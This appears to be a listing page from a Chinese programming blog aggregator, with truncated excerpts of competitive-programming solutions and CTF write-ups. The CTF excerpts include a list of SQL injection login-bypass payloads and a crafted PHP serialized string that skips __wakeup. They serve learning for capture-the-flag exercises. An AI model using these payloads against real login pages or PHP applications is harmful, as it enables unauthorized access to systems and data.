flag

Google Code Jam 2019 Round 1A Pylons(爆搜+贪心)

前提是你 提交于 2020-04-07 16:29:46
这道题,对于小数据,直接上爆搜,也就是把每个点所有能到的地方都用vector存一下,当0的时候,任意选点,之后再从所有能到的地方选点。因为第一问数据非常小,所以算法合格 但是第二问数据比较大,可以采用贪心算法(没有证明正确性,但是跑过了所有数据),在上面的前提下,每次选点都从合法范围最大的点出发 从直觉上来看,这样确实能够有更多的选择性和容错率,但是没有证明他的正确性。 #include<iostream> #include<cstring> #include<cstdio> #include<map> #include<algorithm> #include<queue> #include<set> #define ull unsigned long long using namespace std; typedef long long ll; typedef pair<int,int> pll; typedef pair<int,pair<int,int> > plll; const int N=1e5+10; const int inf=0x3f3f3f3f; vector<pll> g[300][300]; vector<pll> ans; int st[301][301]; int flag[301][301]; int px[N],py[N]; bool dfs(int

[USACO18OPEN]Multiplayer Moo

和自甴很熟 提交于 2020-03-28 13:43:05
题目描述 奶牛们提出了一款创新性的新游戏,惊讶的是她们给这款游戏取了个最没创意的名字:“Moo”。 Moo游戏在一个由 N × N 个正方形格子组成的棋盘上进行,一头奶牛可以通过大叫一声“哞!”然后把她的数字编号写在这个格子里来占有这个格子。 在游戏结束的时候,每个格子中都包含一个数。在这个时刻,如果一头奶牛创建了一个由连通的格子组成的领域,大小不小于其他所有领域,那这头奶牛就获胜。一个“领域”被定义为一些具有相同数字编号的格子,其中每个在领域中的格子都直接与另一个同一领域中的格子通过上、下、左或者是右相邻(对角线不计)。 由于以单牛形式进行游戏有点无聊,奶牛们也对双牛组队进行游戏感兴趣。同一队的两头奶牛像之前一样可以创建一个领域,但是现在领域中的格子可以属于队伍中的任一头奶牛。 给定游戏棋盘的最终状态,请帮助奶牛们计算任何单头奶牛拥有的最大的领域包含的格子数量,以及任何两头奶牛组成的队伍占有的最大的领域包含的格子的数量。两头奶牛占有的领域必须要同时包含队伍中两头奶牛的编号,不能仅仅包含一头。 输入输出格式 输入格式: 输入的第一行包含 N ( 1 ≤ N ≤ 2 5 0 )。下面 N N 行,每行包含 N N 个整数(每个都在 0-- 1e 6 之间),描述棋盘的最终状态。棋盘中至少出现两种不同的数字。 输出格式: 输出的第一行描述任何单头奶牛占有的最大领域大小

JarvisOJ (pwn)guess

删除回忆录丶 提交于 2020-02-26 14:50:27
先看一下函数结构: main: int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { struct sockaddr addr; // [rsp+0h] [rbp-20h] __pid_t v4; // [rsp+14h] [rbp-Ch] int v5; // [rsp+18h] [rbp-8h] int fd; // [rsp+1Ch] [rbp-4h] fd = socket(2, 1, 0); if ( fd == -1 ) { perror("unable to create server socket"); exit(1); } *&addr.sa_family = 0LL; *&addr.sa_data[6] = 0LL; addr.sa_family = 2; *addr.sa_data = htons(0x270Fu); if ( bind(fd, &addr, 0x10u) ) { perror("unable to bind socket"); exit(1); } if ( listen(fd, 16) ) { perror("deaf"); exit(1); } while ( 1 ) { while ( 1 ) { v5 = accept(fd, 0LL

buuctf刷题之旅—web—EasySQL

杀马特。学长 韩版系。学妹 提交于 2020-02-23 20:12:14
打开环境,发现依旧是sql注入 GitHub上有源码(https://github.com/team-su/SUCTF-2019/tree/master/Web/easy_sql) index.php源码 <?php session_start(); include_once "config.php"; $post = array(); $get = array(); global $MysqlLink; //GetPara(); $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); if(!$MysqlLink){ die("Mysql Connect Error!"); } $selectDB = mysqli_select_db($MysqlLink,$dataName); if(!$selectDB){ die("Choose Database Error!"); } foreach ($_POST as $k=>$v){ if(!empty($v)&&is_string($v)){ $post[$k] = trim(addslashes($v)); } } foreach ($_GET as $k=>$v){ if(!empty($v)&&is_string($v)){ $get[$k] = trim

图的类型

时间秒杀一切 提交于 2020-02-17 16:28:39
图1-图的类型 题目描述: 在知道了图是什么样子之后,我们还需要知道图有哪些类型。比赛中常常出现的图的类型有菊花图(即所有点都只和同一个点相连),链图(即所有点形成了一条链),环(即所有点连成了一个环)。给出一张无向图,判断这张图是否是一个琏图或者是菊花图,或者什么都不是 输入格式: 共M+1行。 第1行包含2个正整数N,M,表示有N个点,M条边。 第2~M+1行包含2个用空格隔开的正整数u,v,表示一条从u到v的无向路径。注意,可能会有重边和自环。 输出格式: 如果是链,则输出Chain,如果是菊花图,则输出Flower,如果是环,则输出Ring,否则输出Neither。 样例1输入: 4 3 1 2 3 4 2 3 样例1输出: Chain 约定: 4≤N,M≤106 用点的度数判断吧。 菊花图:一个点的度数为n-1,其余点的度数为1 链:仅有2个点度数为1,其余均为2 环:每个点度数均为2 #include<bits/stdc++.h> using namespace std; const int N=1000005; set<int>g[N]; bool vis[N]; int n,m,deg[N]; int main() { scanf("%d%d",&n,&m); for(int i=1,x,y;i<=m;++i) { scanf("%d%d",&x,&y); if(x

登陆页面的Sql注入

半腔热情 提交于 2020-02-12 21:54:43
自己手工注入的知识比较薄弱,这里就记录一下注入过程 题目: 1 .登陆页面,使用sql万能密码可以登陆账号,但是flag不会自己跳出来,出题人是想让我们手工注入 常用万能密码: 'or'='or' admin admin'-- admin' or 4=4-- admin' or '1'='1'-- admin888 "or "a"="a admin' or 2=2# a' having 1=1# a' having 1=1-- admin' or '2'='2 ')or('a'='a or 4=4-- c a'or' 4=4-- "or 4=4-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 4=4 'OR 4=4%00 "or 4=4%00 'xor admin' UNION Select 1,1,1 FROM admin Where ''=' 1 -1%cf' union select 1,1,1 as password,1,1,1 %23 1 17..admin' or 'a'='a 密码随便 'or'='or' 'or 4=4/* something ' OR '1'='1 1'or'1'='1 admin' OR 4=4/* 1'or'1'='1 例子: select

攻防世界(高手进阶区)——unserialize3

好久不见. 提交于 2020-02-12 15:31:57
题目可以知道是关于PHP序列化的问题。 class xctf { //定义类xctf public $flag = '111' ; //flag赋值为111 public function __wakeup ( ) { //关于魔术变量_wakeup() exit ( 'bad requests' ) ; } ? code = 序列化后的字符串绕过_wakeup(): _wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行_wakeup()函数,这是一个绕过点。 改变序列化后的属性的个数: <? class xctf { public $flag = '111' ; } $a = new xctf ( ) ; echo serialize ( $a ) ; ?> 将源代码的"?code="加上O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;} 添加到url内; 关于PHP反序列化漏洞可以参考: https://www.jianshu.com/p/1d2c65601d2a 来源: CSDN 作者: LEO__Z 链接: https://blog.csdn.net/zouchengzhi1021/article/details/104277188

leetcode两数相加

浪尽此生 提交于 2020-02-10 22:22:39
题目描述很清楚,最容易想到的就是从前往后一次相加即可。 题中所给的数据结构描述: 第一次的算法: class Solution { public ListNode addTwoNumbers(ListNode l1, ListNode l2) { ListNode res=new ListNode(0); ListNode cur=res; int flag = 0; while(l1!=null&&l2!=null) { cur.val=l1.val+l2.val+flag; flag=cur.val/10; cur.val=cur.val%10; cur.next = new ListNode(0); cur=cur.next; l1=l1.next; l2=l2.next; } while(l1!=null) { cur.val=l1.val+flag; flag=cur.val/10; cur.val=cur.val%10; cur.next = new ListNode(0); cur=cur.next; l1=l1.next; } while(l2!=null){ cur.val=l2.val+flag; flag=cur.val/10; cur.val=cur.val%10; cur.next = new ListNode(0); cur=cur.next; l2

BZOJ - 2716 天使玩偶(CDQ分治)

天涯浪子 提交于 2020-02-06 15:53:56
链接 : BZOJ - 2716 天使玩偶 题意 在二维坐标系上初始有 n n n 个点 ( x 1 , y 1 ) , ( x 2 , y 2 ) , ⋯   , ( x n , y n ) (x_1,y_1),(x_2,y_2),\cdots,(x_n,y_n) ( x 1 ​ , y 1 ​ ) , ( x 2 ​ , y 2 ​ ) , ⋯ , ( x n ​ , y n ​ ) ,共 m m m 个操作,分为以下两种: 1    x    y 1\;x\;y 1 x y :新增点 ( x , y ) (x,y) ( x , y ) 2    x    y 2\;x\;y 2 x y :询问离点 ( x , y ) (x,y) ( x , y ) 曼哈顿距离最近的点,输出该距离(如点A和点B的曼哈顿距离为 d i s t ( A , B ) = ∣ A x − B x ∣ + ∣ A y − B y ∣ dist(A,B)=|A_x-B_x|+|A_y-B_y| d i s t ( A , B ) = ∣ A x ​ − B x ​ ∣ + ∣ A y ​ − B y ​ ∣ ) 1 ≤ n , m ≤ 5 × 1 0 5 1\le n,m\le 5\times 10^5 1 ≤ n , m ≤ 5 × 1 0 5 , 0 ≤ x , y ≤ 1 0 6 0\le x,y